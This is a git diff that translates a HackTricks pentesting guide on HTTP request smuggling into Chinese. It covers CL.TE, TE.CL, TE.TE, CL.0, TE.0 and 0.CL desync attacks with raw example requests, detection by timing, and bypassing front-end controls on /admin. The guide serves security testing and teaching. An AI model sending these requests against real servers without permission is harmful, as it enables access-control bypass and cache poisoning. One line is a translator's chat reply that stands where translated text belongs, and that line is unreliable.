Translated ['src/pentesting-web/http-request-smuggling/README.md'] to zh

This commit is contained in:
Translator 2025-09-05 11:32:26 +00:00
parent 1b442c23a8
commit cf585ad5c2

View File

@ -3,12 +3,12 @@
{{#include ../../banners/hacktricks-training.md}}
## What is
## 是什么
存在 **desyncronization****front-end proxies****back-end** 服务器之间时,攻击者可以 **send** 一个 HTTP **request**,该请求会被 **front-end** 代理load balance/reverse-proxy**interpreted** 为一个 **single request**,而被 **back-end** 服务器 **interpreted****2 request**。\
这使得用户能够 **modify the next request that arrives to the back-end server after his**。
**front-end proxies****back-end** 服务器之间发生 **不同步desynchronization**,使得 **attacker** 发送的一个 HTTP **request** 会被 **front-end proxies负载均衡/反向代理)** 视为 **单个请求**,但被 **back-end** 视为 **两个请求** 时,就会出现此漏洞。\
这使得攻击者能够 **修改在他之后到达后端服务器的下一个请求**。
### Theory
### 原理
[**RFC Specification (2161)**](https://tools.ietf.org/html/rfc2616)
@ -23,60 +23,59 @@
> The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.\
> Chunked means that large data is sent in a series of chunks
### Reality
### 实际情况
**Front-End**load-balance / Reverse Proxy处理 _**content-length**__**transfer-encoding**_ 头,而 **Back-end** 服务器则处理另一个头,从而在两者之间引发 **desyncronization**。\
这可能非常严重,因为 **attacker** 可以向 reverse proxy 发送一个请求,该请求会被 **back-end** 服务器 **interpreted** 为两个不同的请求。该技术的危险在于,**back-end** 服务器会将被注入的第二个请求当作来自下一个客户端的请求来处理,而该下一个客户端的真实请求将成为被注入请求的一部分
**Front-End**(负载均衡 / 反向代理)处理了 _**Content-Length**__**Transfer-Encoding**_ 头,而 **Back-end** 服务器处理了另一个头时,就会在两者之间造成 **不同步**。\
这可能非常危险,因为 **攻击者可以向反向代理发送一个请求**,该请求会被 **后端服务器解释为两个不同的请求**。该技术的危险在于后端会把 **注入的第二个请求** 解释为 **来自下一个客户端** 的请求,而该客户端的真实请求则会成为 **被注入请求的一部分**
### Particularities
### 细节
请记住在 HTTP 中 **换行符由两个字节组成:**
记住在 HTTP 中 **换行字符由 2 个字节组成CRLF**
- **Content-Length**: 该 header 使用 **十进制数字** 来指示请求体的 **字节数**。请求体期望在最后一个字符处结束,**请求末尾不需要额外的新行**。
- **Transfer-Encoding:** header **body** 中使用 **十六进制数字** 指示 **下一个 chunk 的字节数****chunk** 必须以 **新行** 结束,但该新行 **不计入** 长度指示中。此传输方法必须以 **大小为 0 的 chunk 后跟 2 个新行** 结束: `0`
- **Connection**: 根据我的经验,建议在 request Smuggling 的第一个请求中使用 **`Connection: keep-alive`**。
- **Content-Length**: 该头使用 **十进制数字** 来表示请求体的 **字节数**。请求体应在最后一个字符结束,**请求末尾不需要额外的换行符**。
- **Transfer-Encoding:****body** 中使用 **十六进制数字** 指示 **下一个 chunk 的字节数**每个 **chunk** 必须以 **换行** 结尾,但该换行符 **不被长度指示器计入**。该传输方式必须以 **大小为 0 的 chunk后跟 2 个换行** 结束:`0`
- **Connection**: 根据我的经验,建议在 request smuggling 的第一个请求中使用 **`Connection: keep-alive`**。
### Visible - Hidden
http/1.1 的主要问题是所有请求都通过同一个 TCP socket 发送,因此如果在接收请求的两个系统之间发现不一致,就可能发送一个在中间件被视为一个请求、但在最终后端被视为两个(或更多)不同请求的包
http/1.1 的主要问题在于所有请求共享同一个 TCP socket因此如果两个接收请求的系统之间存在差异就可能发送一个请求使最终后端或中间系统将其视为两个或更多不同的请求
[This blog post](https://portswigger.net/research/http1-must-die) 提出了一些检测 desync 攻击的新方法,这些方法不会被 WAF 标记。为此,它介绍了 Visible vs Hidden 的行为。目标是在不实际利用漏洞的情况下,通过可能导致 desync 的技术来尝试发现响应差异。
[This blog post](https://portswigger.net/research/http1-must-die) 提出了新的检测 desync 攻击的方法,这些方法不会被 WAFs 标记。为此它展示了 Visible vs Hidden 行为。目标是在不实际利用任何问题的情况下,通过引起可能导致 desync 的技术来发现响应中的差异。
例如,发送带有正常 Host header 的请求以及带有 " host" header 的请求,如果后端对该请求报错(可能因为 " host" 的值不正确),这可能意味着 front-end 没有注意到 " host" header而最终后端却使用了它这很可能表示 front-end 与 back-end 之间存在 desync。
例如,发送一个带有正常 Host 头和一个 " host" 头的请求,如果后端对该请求报错(可能因为 " host" 的值不正确),这可能意味着 front-end 没有看到 " host" 头而最终后端使用了它,这高度可能表明 front-end 与 back-end 之间存在 desync。
是一个 **Hidden-Visible discrepancy**
是一个 **Hidden-Visible discrepancy**
如果 front-end 考虑了 " host" header 而 back-end 没有,则可能是 **Visible-Hidden** 的情况
如果 front-end 正常处理了 " host" 头,但后端没有,这则可能是 **Visible-Hidden** 情形
例如,这使得发现 AWS ALB 作为 front-end 与 IIS 作为 backend 之间的 desync 成为可能。当发送 "Host: foo/bar" 时ALB 返回 `400, Server; awselb/2.0`,但当发送 "Host : foo/bar" 时,它返回 `400, Server: Microsoft-HTTPAPI/2.0`,表明响应是由后端发送的。这是一个 Hidden-Visible (H-V) 情况。
例如,这一方法曾用于发现 AWS ALB作为前端与 IIS作为后端之间的 desync。当发送 "Host: foo/bar" 时ALB 返回 `400, Server; awselb/2.0`,但当发送 "Host : foo/bar" 时,它返回 `400, Server: Microsoft-HTTPAPI/2.0`,表明后端在发送响应。这是一个 Hidden-Visible (H-V) 情况。
注意,此问题在 AWS 中并未修复,但可以通过设置 `routing.http.drop_invalid_header_fields.enabled``routing.http.desync_mitigation_mode = strictest`预防
注意该问题在 AWS 中尚未被修复,但可以通过设置 `routing.http.drop_invalid_header_fields.enabled``routing.http.desync_mitigation_mode = strictest`缓解
## Basic Examples
## 基本示例
> [!TIP]
> 尝试使用 Burp Suite 利用此类漏洞时,请在 repeater 中 **禁用 `Update Content-Length` 和 `Normalize HTTP/1 line endings`**,因为某些 gadget 会利用换行、回车和格式错误的 content-length。
> 尝试用 Burp Suite 利用此类漏洞时,请在 repeater 中 **禁用 `Update Content-Length` 和 `Normalize HTTP/1 line endings`**,因为某些 gadget 会滥用换行、回车和畸形的 content-length。
HTTP request smuggling 攻击通过发送模糊请求来构造,利用 front-end 与 back-end 在解释 `Content-Length` (CL) 和 `Transfer-Encoding` (TE) 头时的差异。这些攻击主要**CL.TE**、**TE.CL** 和 **TE.TE** 的形式表现。每种类型代表 front-end 与 back-end 优先处理这些头部的不同组合。漏洞产生于服务器以不同方式处理相同请求,导致意想不到且可能恶意的结果。
HTTP request smuggling 攻击通过发送具有歧义性的请求来利用 front-end 与 back-end 在解释 `Content-Length` (CL) 和 `Transfer-Encoding` (TE) 头时的差异。这些攻击主要表现为 **CL.TE**, **TE.CL**, 和 **TE.TE**。每种类型代表 front-end 与 back-end 优先处理这些头的不同组合。漏洞的根源在于服务器以不同方式处理同一请求,导致意外且可能恶意的结果。
### Basic Examples of Vulnerability Types
### 漏洞类型基本示例
![https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../images/EKi5edAUUAAIPIK.jpg)
> [!TIP]
> 在上表基础上你还应添加 TE.0 技术,类似 CL.0 技术但使用 Transfer-Encoding。
> 在上表之外,你还应考虑 TE.0 技术,类似于 CL.0但使用 Transfer-Encoding。
#### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
- **Front-End (CL):** 根据 `Content-Length` header 处理请求。
- **Back-End (TE):** 根据 `Transfer-Encoding` header 处理请求。
- **Attack Scenario:**
- **Front-End (CL):** 基于 `Content-Length`处理请求。
- **Back-End (TE):** 基于 `Transfer-Encoding`处理请求。
- **攻击场景:**
- 攻击者发送一个 `Content-Length` 值与实际内容长度不匹配的请求。
- front-end 根据 `Content-Length` 值将整个请求转发给 back-end。
- back-end 因 `Transfer-Encoding: chunked` 将请求作为 chunked 处理,把剩余数据解释为另一个独立的后续请求。
- **Example:**
- back-end 因 `Transfer-Encoding: chunked` 将请求作为 chunked 处理,把剩余数据解释为单独的后续请求。
- **示例:**
```
POST / HTTP/1.1
@ -93,14 +92,14 @@ Foo: x
#### TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)
- **Front-End (TE):** 根据 `Transfer-Encoding` header 处理请求。
- **Back-End (CL):** 根据 `Content-Length` header 处理请求。
- **Attack Scenario:**
- **Front-End (TE):** 基于 `Transfer-Encoding`处理请求。
- **Back-End (CL):** 基于 `Content-Length`处理请求。
- **攻击场景:**
- 攻击者发送一个 chunked 请求,其中 chunk 大小(`7b` 的十六进制)与实际的 `Content-Length: 4` 不一致。
- 攻击者发送一个 chunked 请求,其中 chunk 大小(例如 `7b`)与实际的 `Content-Length: 4` 不一致。
- front-end 遵循 `Transfer-Encoding` 将整个请求转发给 back-end。
- back-end 遵循 `Content-Length`,只处理请求的初始部分(`7b` 字节),剩余部分被当作意外的后续请求的一部分
- **Example:**
- back-end 遵循 `Content-Length` 只处理请求的最初部分(`7b` 字节),将剩余部分作为非预期的后续请求
- **示例:**
```
POST / HTTP/1.1
@ -122,13 +121,13 @@ x=
#### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
- **Servers:** 双方都支持 `Transfer-Encoding`,但其中一个可能因头部混淆而无法识别
- **Attack Scenario:**
- **Servers:** 双方都支持 `Transfer-Encoding`,但其中一个可以被混淆手段骗过以忽略它
- **攻击场景:**
- 攻击者发送含有混淆的 `Transfer-Encoding` headers 的请求。
- 根据哪个服务器front-end 或 back-end未能识别混淆可能利用 CL.TE 或 TE.CL 漏洞。
- 被某一端视为未处理的请求部分会成为后续请求的一部分,从而导致 smuggling。
- **Example:**
- 攻击者发送包含被混淆的 `Transfer-Encoding`的请求。
- 取决于哪个服务器front-end 或 back-end未能识别混淆可能利用 CL.TE 或 TE.CL 漏洞。
- 在一个服务器看来未被处理的请求部分会成为后续请求的一部分,从而导致 smuggling。
- **示例:**
```
POST / HTTP/1.1
@ -147,11 +146,11 @@ Transfer-Encoding
: chunked
```
#### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)**
#### **CL.CL 情形 (Content-Length used by both Front-End and Back-End)**
- 双方服务器都仅根据 `Content-Length` header 处理请求。
- 这种情况通常不会导致 smuggling因为两端在如何解释请求长度上是一致的。
- **Example:**
- 双方服务器都仅基于 `Content-Length`处理请求。
- 这种情形通常不会导致 smuggling因为两者在解释请求长度上是一致的。
- **示例:**
```
POST / HTTP/1.1
@ -162,11 +161,11 @@ Connection: keep-alive
Normal Request
```
#### **CL.0 Scenario**
#### **CL.0 情形**
- 指的是 `Content-Length` header 存在且值非零表示请求体有内容back-end 忽略该 `Content-Length`(将其视为 0但 front-end 解析它。
- 这在理解和构造 smuggling 攻击时很重要,因为它影响服务器如何确定请求的结束。
- **Example:**
- 指的是存在 `Content-Length` 头且其值非零(表示请求体有内容)的情形,但后端忽略了 `Content-Length`(被视作 0而 front-end 则解析它。
- 在理解和构造 smuggling 攻击时这是关键,因为它影响服务器如何确定请求的结束。
- **示例:**
```
POST / HTTP/1.1
@ -177,9 +176,9 @@ Connection: keep-alive
Non-Empty Body
```
#### TE.0 Scenario
#### TE.0 情形
- 类似于上一个场景,但使用 TE。
- 与上一个类似,但使用 TE。
- Technique [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- **Example**:
```
@ -201,7 +200,7 @@ EMPTY_LINE_HERE
```
#### `0.CL` 场景
`0.CL` 情况下request 会使用如下的 Content-Length 发送
`0.CL` 场景中,请求会被发送,并带有类似这样的 Content-Length
```
GET /Logon HTTP/1.1
Host: <redacted>
@ -211,46 +210,47 @@ Content-Length:
GET /404 HTTP/1.1
X: Y
```
而 front-end 并未考虑 `Content-Length`,因此它只会把第一个 request 发送到 backend例如示例中直到 7。然而 backend 会看到 `Content-Length` 并等待一个永远不会到来的 body因为 front-end 已经在等待 response
而 front-end 不考虑 `Content-Length`,所以它只会把第一个请求发送到 backend在示例中直到 7 为止)。但是 backend 会看到 `Content-Length` 并等待一个永远不会到达的请求体,因为 front-end 已经在等待响应
不过,如果存在一种可以发送到 backend 的 request使得 backend 在接收该 request 的 body 之前就对其作出响应,那么这个死锁就不会发生。例如在 IIS 中,向像 `/con` 这样的 forbidden words 发送请求会出现这种情况(查看 [documentation](https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file)),这样初始 request 会被直接响应,而第二个 request 将包含 victim 的 request,类似:
然而,如果存在一种发送到 backend 的请求会在接收请求体之前就被响应,则不会发生这种死锁。例如在 IIS 中,对像 `/con` 这类保留词发送请求会出现这种情况(查看 [documentation](https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file)),这样初始请求会被直接响应,第二个请求将包含受害者的请求,类似:
```
GET / HTTP/1.1
X: yGET /victim HTTP/1.1
Host: <redacted>
```
对于造成 desync 很有用,但到目前为止不会有任何影响。
在引起 desync 时很有用,但直到现在都不会产生影响。
然而,该文章提供了一个解决方案,通过将 **[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)** 来实现。
然而,该文章提供了解决方案,通过将 **[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)** 转换来实现。
#### Breaking the web server
该技术在可以在读取初始 HTTP 数据时**破坏 web 服务器**但**不关闭连接**的场景中也很有用。这样HTTP 请求的 **body** 将被视为 **next HTTP request**
此技术在某些场景下也很有用,例如在可以**在读取初始 HTTP 数据时破坏 web server**但**不关闭连接**的情况下。这样HTTP 请求的**body**将被视为**下一个 HTTP 请求**
例如,正如 [**this writeup**](https://mizu.re/post/twisty-python) 中所解释的,在 Werkzeug 中可以发送一些 **Unicode** 字符,这会使服务器 **break**。然而,如果 HTTP 连接是使用头部 **`Connection: keep-alive`** 创建的,请求的 body 将不会被读取且连接仍然保持打开,因此请求的 **body** 将被视为 **next HTTP request**。
例如,正如 [**this writeup**](https://mizu.re/post/twisty-python) 中所述,在 Werkzeug 中可以发送一些 **Unicode** 字符,这会使服务器**崩溃**。然而,如果 HTTP 连接是通过头部 **`Connection: keep-alive`** 建立的,请求的 body 不会被读取,连接仍然保持打开,因此该请求的 **body** 将被当作 **下一个 HTTP 请求**。
#### Forcing via hop-by-hop headers
滥用 hop-by-hop headers 可以指示代理 **删除 Content-Length 或 Transfer-Encoding 头,从而使 HTTP request smuggling 可以被滥用**。
滥用 hop-by-hop headers 可以指示 proxy **删除 Content-Length 或 Transfer-Encoding 头部,从而使 HTTP request smuggling 可被利用**。
```
Connection: Content-Length
```
For **有关 hop-by-hop headers 的更多信息** 请参阅:
For **more information about hop-by-hop headers** visit:
{{#ref}}
../abusing-hop-by-hop-headers.md
{{#endref}}
## 查找 HTTP Request Smuggling
## Finding HTTP Request Smuggling
识别 HTTP request smuggling 漏洞通常可以通过时序技术实现,依赖于观察服务器对被操控请求的响应所需时间。这些技术对于检测 CL.TE 和 TE.CL 漏洞尤其有用。除了这些方法外,还有其他策略和工具可用于发现此类漏洞:
Identifying HTTP request smuggling vulnerabilities can often be achieved using timing techniques, which rely on observing how long it takes for the server to respond to manipulated requests. These techniques are particularly useful for detecting CL.TE and TE.CL vulnerabilities. Besides these methods, there are other strategies and tools that can be used to find such vulnerabilities:
### 使用时序技术发现 CL.TE 漏洞
### Finding CL.TE Vulnerabilities Using Timing Techniques
- **方法:**
- **Method:**
- 发送一个请求,如果应用存在漏洞,该请求会导致后端服务器等待额外数据。
- **示例:**
- Send a request that, if the application is vulnerable, will cause the back-end server to wait for additional data.
- **Example:**
```
POST / HTTP/1.1
@ -264,20 +264,20 @@ A
0
```
- **观察:**
- 前端服务器基于 `Content-Length` 处理请求并过早截断消息。
- 后端服务器预计是 chunked 消息,等待不会到来的下一个 chunk导致延迟。
- **Observation:**
- The front-end server processes the request based on `Content-Length` and cuts off the message prematurely.
- The back-end server, expecting a chunked message, waits for the next chunk that never arrives, causing a delay.
- **指示器:**
- 响应超时或长时间延迟。
- 从后端服务器收到 400 Bad Request 错误,有时带有详细的服务器信息。
- **Indicators:**
- Timeouts or long delays in response.
- Receiving a 400 Bad Request error from the back-end server, sometimes with detailed server information.
### 使用时序技术发现 TE.CL 漏洞
### Finding TE.CL Vulnerabilities Using Timing Techniques
- **方法:**
- **Method:**
- 发送一个请求,如果应用存在漏洞,该请求会导致后端服务器等待额外数据。
- **示例:**
- Send a request that, if the application is vulnerable, will cause the back-end server to wait for additional data.
- **Example:**
```
POST / HTTP/1.1
@ -290,50 +290,50 @@ Content-Length: 6
X
```
- **观察:**
- 前端服务器基于 `Transfer-Encoding` 处理并转发了整个消息。
- 后端服务器预计基于 `Content-Length` 的消息,等待不会到来的额外数据,导致延迟。
- **Observation:**
- The front-end server processes the request based on `Transfer-Encoding` and forwards the entire message.
- The back-end server, expecting a message based on `Content-Length`, waits for additional data that never arrives, causing a delay.
### 发现漏洞的其他方法
### Other Methods to Find Vulnerabilities
- **差异响应分析:**
- 发送略有不同的请求版本,观察服务器响应是否以意外方式不同,这表明存在解析差异。
- **使用自动化工具:**
- 像 Burp Suite 的 'HTTP Request Smuggler' 扩展这样的工具可以通过发送各种模糊的歧义请求并分析响应来自动测试这些漏洞。
- **Content-Length 变异测试:**
- 发送具有不同 `Content-Length` 值的请求,这些值与实际内容长度不一致,并观察服务器如何处理这些不匹配。
- **Transfer-Encoding 变异测试:**
- 发送带有混淆或损坏的 `Transfer-Encoding` 头的请求,并监视前端和后端服务器对这些操作的响应差异。
- **Differential Response Analysis:**
- Send slightly varied versions of a request and observe if the server responses differ in an unexpected way, indicating a parsing discrepancy.
- **Using Automated Tools:**
- Tools like Burp Suite's 'HTTP Request Smuggler' extension can automatically test for these vulnerabilities by sending various forms of ambiguous requests and analyzing the responses.
- **Content-Length Variance Tests:**
- Send requests with varying `Content-Length` values that are not aligned with the actual content length and observe how the server handles such mismatches.
- **Transfer-Encoding Variance Tests:**
- Send requests with obfuscated or malformed `Transfer-Encoding` headers and monitor how differently the front-end and back-end servers respond to such manipulations.
### The `Expect: 100-continue` header
查看此头如何帮助利用 http desync参见
Check how this header can help exploiting a http desync in:
{{#ref}}
../../network-services-pentesting/pentesting-web/special-http-headers.md
{{#endref}}
### HTTP Request Smuggling 漏洞测试
### HTTP Request Smuggling Vulnerability Testing
在确认时序技术有效后,关键是要验证是否可以操纵客户端请求。一种直接的方法是尝试污染你的请求,例如,使对 `/` 的请求返回 404 响应。之前在 [基本示例](#basic-examples) 中讨论的 `CL.TE``TE.CL` 例子演示了如何污染客户端的请求以引发 404 响应,即使客户端本来想访问不同的资源。
After confirming the effectiveness of timing techniques, it's crucial to verify if client requests can be manipulated. A straightforward method is to attempt poisoning your requests, for instance, making a request to `/` yield a 404 response. The `CL.TE` and `TE.CL` examples previously discussed in [Basic Examples](#basic-examples) demonstrate how to poison a client's request to elicit a 404 response, despite the client aiming to access a different resource.
**主要注意事项**
**Key Considerations**
在通过干扰其他请求来测试 request smuggling 漏洞时,请记住:
When testing for request smuggling vulnerabilities by interfering with other requests, bear in mind:
- **不同的网络连接:** "attack" 和 "normal" 请求应通过不同的网络连接发送。使用相同的连接发送两者并不能验证漏洞的存在。
- **一致的 URL 和参数:** 尽量对两个请求使用相同的 URL 和参数名。现代应用通常根据 URL 和参数将请求路由到特定的后端服务器。匹配这些可以增加两个请求被同一台服务器处理的可能性,这是成功攻击的前提。
- **时序与竞态条件:** 用于检测是否受到 "attack" 请求干扰的 "normal" 请求需要与其他并发应用请求竞争。因此,应在发送 "attack" 请求后立即发送 "normal" 请求。繁忙的应用可能需要多次尝试才能得出结论。
- **负载均衡挑战:** 作为负载均衡器的前端服务器可能会将请求分发到不同的后端系统。如果 "attack" 和 "normal" 请求最终落在不同的系统上,攻击将不会成功。此负载均衡因素可能需要多次尝试才能确认漏洞。
- **对其他用户的非预期影响:** 如果你的攻击无意中影响了另一个用户的请求(而不是你为检测发送的 "normal" 请求),这表明你的攻击影响了其他应用用户。持续测试可能会扰乱其他用户,因此必须谨慎行事。
- **Distinct Network Connections:** The "attack" and "normal" requests should be dispatched over separate network connections. Utilizing the same connection for both doesn't validate the vulnerability's presence.
- **Consistent URL and Parameters:** Aim to use identical URLs and parameter names for both requests. Modern applications often route requests to specific back-end servers based on URL and parameters. Matching these increases the likelihood that both requests are processed by the same server, a prerequisite for a successful attack.
- **Timing and Racing Conditions:** The "normal" request, meant to detect interference from the "attack" request, competes against other concurrent application requests. Therefore, send the "normal" request immediately following the "attack" request. Busy applications may necessitate multiple trials for conclusive vulnerability confirmation.
- **Load Balancing Challenges:** Front-end servers acting as load balancers may distribute requests across various back-end systems. If the "attack" and "normal" requests end up on different systems, the attack won't succeed. This load balancing aspect may require several attempts to confirm a vulnerability.
- **Unintended User Impact:** If your attack inadvertently impacts another user's request (not the "normal" request you sent for detection), this indicates your attack influenced another application user. Continuous testing could disrupt other users, mandating a cautious approach.
## 区分 HTTP/1.1 pipelining 伪像与真实的 request smuggling
## Distinguishing HTTP/1.1 pipelining artifacts vs genuine request smuggling
连接重用keep-alive和 pipelining 很容易在那些在同一 socket 上发送多个请求的测试工具中产生“smuggling”的错觉。学会将无害的客户端伪像与真实的服务器端 desync 区分开来。
Connection reuse (keep-alive) and pipelining can easily produce illusions of "smuggling" in testing tools that send multiple requests on the same socket. Learn to separate harmless client-side artifacts from real server-side desync.
### 为什么 pipelining 会产生经典误报
### Why pipelining creates classic false positives
HTTP/1.1 重用单个 TCP/TLS 连接,并在同一流中串联请求和响应。在 pipelining 中,客户端连续发送多个请求并依赖按序响应。一个常见的误报是在单个连接上重复发送格式错误的 CL.0-style 有效载荷两次:
HTTP/1.1 reuses a single TCP/TLS connection and concatenates requests and responses on the same stream. In pipelining, the client sends multiple requests back-to-back and relies on in-order responses. A common false-positive is to resend a malformed CL.0-style payload twice on a single connection:
```
POST / HTTP/1.1
Host: hackxor.net
@ -342,7 +342,7 @@ Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
```
响应可能如下所示:
请把 src/pentesting-web/http-request-smuggling/README.md 的内容粘贴到此处,或上传该文件。我会按要求把英文翻译成中文,并保留原有的 markdown/HTML 语法、链接与标签。
```
HTTP/1.1 200 OK
Content-Type: text/html
@ -356,7 +356,7 @@ Content-Type: text/plain
User-agent: *
Disallow: /settings
```
如果服务器忽略了格式错误的 `Content_Length`,就不会发生 FE↔BE desync。连接重用时你的客户端实际上发送了以下字节流服务器把它解析为两个独立的请求:
如果服务器忽略了畸形的 `Content_Length`,则不会出现 FE↔BE desync。在复用的情况下你的客户端实际上发送了这个字节流服务器将其解析为两个独立的请求:
```
POST / HTTP/1.1
Host: hackxor.net
@ -370,55 +370,58 @@ Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
```
影响:无。你只是使客户端与服务器的消息分界 desynced
影响:无。你只是使客户端与服务器的分帧不同步
> [!TIP]
> Burp 模块依赖 reuse/pipelining 的有Turbo Intruder`requestsPerConnection>1`、Intruder启用 "HTTP/1 connection reuse"、Repeater 的 "Send group in sequence (single connection)" 或 "Enable connection reuse"。
> 依赖 reuse/pipelining 的 Burp 模块Turbo Intruder`requestsPerConnection>1`、Intruder"HTTP/1 connection reuse"、Repeater"Send group in sequence (single connection)" 或 "Enable connection reuse"
### 试验pipelining 还是真实的 desync
### Litmus tests: pipelining or real desync?
1. 禁用 reuse 并重新测试
- 在 Burp Intruder/Repeater 中,关闭 HTTP/1 reuse 并避免 "Send group in sequence"。
1. Disable reuse and re-test
- 在 Burp Intruder/Repeater 中,关闭 HTTP/1 reuse 并避免使用 "Send group in sequence"。
- 在 Turbo Intruder 中,将 `requestsPerConnection=1` 并设置 `pipeline=False`
- 如果行为消失,很可能是客户端的 pipelining除非你在处理 connection-locked/stateful targets 或客户端端的 desync。
2. HTTP/2 nested-response 检查
- 发送一个 HTTP/2 请求。如果响应体包含一个完整的嵌套 HTTP/1 响应,你已经证明这是后端的解析/desync 漏洞,而不是纯粹的客户端伪象。
3. Partial-requests 用于检测 connection-locked 前端
- 一些 FE 只有在客户端重用其连接时才重用上游 BE 连接。使用 partial-requests 来检测 FE 是否会镜像客户端的 reuse 行为。
- 参见 PortSwigger "BrowserPowered Desync Attacks" 了解 connection-locked 技术。
4. 状态探测
- 在同一 TCP 连接上查找首次请求与后续请求的差异(首个请求的路由/验证)。
- Burp "HTTP Request Smuggler" 包含一个 connectionstate 探针来自动化此检测。
5. 可视化 wire
- 使用 Burp "HTTP Hacker" 扩展在尝试 reuse 和 partial requests 时直接检查拼接和消息分帧。
- 如果问题消失,通常是客户端侧的 pipelining除非你面对 connection-locked/stateful 目标或客户端侧 desync。
2. HTTP/2 nested-response check
- 发送一个 HTTP/2 请求。如果响应体包含一个完整的嵌套 HTTP/1 响应,则证明是后端解析/desync 漏洞,而非纯客户端现象。
3. Partial-requests probe for connection-locked front-ends
- 有些 FEs 只有在客户端复用连接时才会复用上游 BE 连接。使用 partial-requests 检测 FE 行为是否镜像客户端的复用。
- 参见 PortSwigger 的 "BrowserPowered Desync Attacks" 了解 connection-locked 技术。
4. State probes
- 在同一 TCP 连接上查找首个请求与后续请求的差异(首请求的路由/校验)。
- Burp "HTTP Request Smuggler" 包含一个连接状态探测,可自动化此过程。
5. Visualize the wire
- 使用 Burp 的 "HTTP Hacker" 扩展,在尝试复用和 partial requests 时直接检查串联和报文分帧。
### Connectionlocked request smuggling (reuse-required)
一些前端只有在客户端重用连接时才会重用上游连接。真实的 smuggling 存在,但依赖于客户端端的 reuse。为区分并证明影响
- 证明服务器端漏洞
- 使用 HTTP/2 nested-response 检查,或
- 使用 partial-requests 显示 FE 仅在客户端重用时才重用上游连接
有些前端只有在客户端复用连接时才会复用上游连接。真实的 smuggling 存在,但依赖于客户端侧的复用。为区分并证明影响:
- Prove the server-side bug
- 使用 HTTP/2 nested-response check,或
- 使用 partial-requests 显示 FE 仅在客户端复用时才复用上游
- 即使直接的跨用户 socket 滥用被阻止,也要展示真实影响:
- Cache poisoning通过 desync 污染共享缓存,使响应影响其他用户。
- Internal header disclosure:反射 FE 注入的 headers例如 auth/trust headers并以此为跳板实现 auth bypass。
- Bypass FE controls:将受限路径/方法 smuggle 过前端。
- Host-header abuse:结合 host routing 的怪癖 pivot 到内部 vhosts。
- Cache poisoning: 通过 desync 污染共享缓存,使响应影响其他用户。
- Internal header disclosure: 反射 FE 注入的 headers例如 auth/trust headers并由此转向 auth bypass。
- Bypass FE controls: 将受限路径/方法 smuggle 通过前端。
- Host-header abuse: 结合主机路由的怪异行为转向内部 vhosts。
- Operator workflow
- 使用受控的 reuse 复现Turbo Intruder `requestsPerConnection=2`,或 Burp Repeater 标签组 → "Send group in sequence (single connection)")
- 然后链到 cache/header-leak/control-bypass primitives 并证明跨用户或授权影响。
- 在受控复用下复现Turbo Intruder `requestsPerConnection=2`,或 Burp Repeater 标签组 → "Send group in sequence (single connection)"
- 然后串联到 cache/header-leak/control-bypass 原语,演示跨用户或授权影响。
> See also connectionstate attacks, which are closely related but not technically smuggling:
>
>{{#ref}}
>../http-connection-request-smuggling.md
>
{{#endref}}
>{{#endref}}
### Clientside desync constraints
如果你的目标是 browser-powered/client-side desync恶意请求必须能被浏览器跨域发送。Header obfuscation 的技巧不会奏效。关注可通过 navigation/fetch 到达的 primitives然后 pivot 到 cache poisoning、header disclosure 或 front-end control bypass下游组件会反射或缓存响应的场景
如果你的目标是 browser-powered/client-side desync恶意请求必须能被浏览器以跨域方式发送。Header obfuscation 技巧不起作用。专注于通过 navigation/fetch 可达的原语,然后转向 cache poisoning、header disclosure 或 front-end control bypass当下游组件反射或缓存响应时利用这些缺陷
有关背景和端到端工作流
用于背景知识和端到端流程
{{#ref}}
browser-http-request-smuggling.md
@ -426,21 +429,21 @@ browser-http-request-smuggling.md
### Tooling to help decide
- HTTP Hacker (Burp BApp Store):在低层次暴露 HTTP 行为和 socket 拼接
- HTTP Hacker (Burp BApp Store):在尝试复用和 partial requests 时暴露低级别的 HTTP 行为和 socket 串联
- "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
- Turbo Intruder通过 `requestsPerConnection` 对连接重用进行精确控制。
- Burp HTTP Request Smuggler包含一个 connectionstate 探针来发现首个请求的路由/验证差异。
- Turbo Intruder通过 `requestsPerConnection` 精确控制连接复用
- Burp HTTP Request Smuggler包含一个 connectionstate 探针,用于发现首请求的路由/校验差异。
> [!NOTE]
> 除非你能证明服务器端的 desync 并附带具体影响poisoned cache artifact、leaked internal header 导致权限绕过、bypassed FE control 等),否则将仅因 reuse 导致的效果视为非问题
> 将仅依赖复用的效果视为非问题,除非你能证明服务端的 desync 并附上具体影响poisoned cache artifact、leaked internal header enabling privilege bypass、bypassed FE control 等)
## Abusing HTTP Request Smuggling
### Circumventing Front-End Security via HTTP Request Smuggling
有时前端代理会强制实施安全措施,检查传入请求。然而,这些措施可以通过利用 HTTP Request Smuggling 绕过,从而允许未经授权访问受限端点。例如,从外部访问 `/admin` 可能被禁止,前端代理会主动阻止此类尝试。但该代理可能忽略对 smuggled HTTP request 中嵌入请求的检查,从而留下绕过这些限制的漏洞。
有时,前端代理会强制执行安全措施,检查传入请求。但这些措施可以被 HTTP Request Smuggling 绕过,从而允许未授权访问受限端点。例如,外部可能禁止访问 `/admin`,前端代理会主动阻止此类尝试。然而,该代理可能不会检查 smuggled HTTP 请求内嵌的请求,从而留下绕过这些限制的漏洞。
下面的示例说明了如何使用 HTTP Request Smuggling 绕过前端安全控制,具体针对通常由前端代理保护的 `/admin` 路径:
下面的示例说明了如何使用 HTTP Request Smuggling 绕过前端安全控制,特别针对通常由前端代理保护的 `/admin` 路径:
